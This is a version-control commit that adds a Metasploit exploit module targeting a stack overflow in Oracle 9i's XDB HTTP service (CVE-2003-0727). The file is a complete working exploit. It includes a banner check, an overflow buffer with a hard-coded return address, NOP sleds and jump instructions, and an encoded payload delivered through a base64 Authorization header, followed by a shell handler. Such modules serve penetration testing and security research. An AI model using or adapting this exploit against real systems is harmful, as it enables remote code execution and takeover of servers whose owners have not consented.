added exploit module oracle9i_xdb_pass.rb

git-svn-id: file:///home/svn/framework3/trunk@4059 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/oracle9i_xdb_pass.rb

@@ -0,0 +1,87 @@
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Http::Oracle9i_Xdb_Pass < Msf::Exploit::Remote
+
+	include Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
+			'Description'    => %q{
+				This module exploits a stack overflow in the authorization
+				code of the Oracle 9i HTTP XDB service. David Litchfield,
+				has illustrated multiple vulnerabilities in the Oracle
+				9i XML Database (XDB), during a seminar on "Variations
+				in exploit methods between Linux and Windows" presented
+				at the Blackhat conference.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 3583 $',
+			'References'     =>
+				[
+	  				['OSVDB', '2449'],
+					['BID', '8375'],
+                                        ['CVE', '2003-0727'],
+					['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
+				],
+                        'DefaultOptions' =>
+                                {
+                                        'EXITFUNC' => 'thread',
+                                },
+
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'Space'    => 400,
+					'BadChars' => "\x00",
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Oracle 9.2.0.1 Universal', { 'Ret' => 0x60616d46 } ],
+				],
+                        'DefaultTarget' => 0,
+			'DisclosureDate' => 'Aug 18 2003'))
+			
+			register_options( [ Opt::RPORT(8080) ], self.class )
+
+	end
+
+        def check
+                connect
+                sock.put("GET / HTTP/1.0\r\n\r\n")
+                resp = sock.get_once
+                disconnect
+ 
+                if (resp =~ /9.2.0.1.0/)
+                        return Exploit::CheckCode::Vulnerable
+                end                                                                               
+                        return Exploit::CheckCode::Safe
+        end
+
+	def exploit
+		connect
+
+                sploit =  Rex::Text.rand_text_english(4, payload_badchars) + ":" 
+		sploit << Rex::Text.rand_text_english(442, payload_badchars) 
+                sploit << "\xeb\x64" + make_nops(2) + [target.ret].pack('V') 
+                sploit << make_nops(266) + "\xeb\x10" + make_nops(109) + payload.encoded
+
+                req  = "Authorization: Basic #{Rex::Text.encode_base64(sploit)}\r\n\r\n"  
+		
+		res  = "GET / HTTP/1.1\r\n" + "Host: #{rhost}:#{rport}\r\n" + req   
+	
+		print_status("Trying target %s..." % target.name)
+		
+		sock.put(res)
+		
+		handler
+		disconnect
+	end
+
+end
+end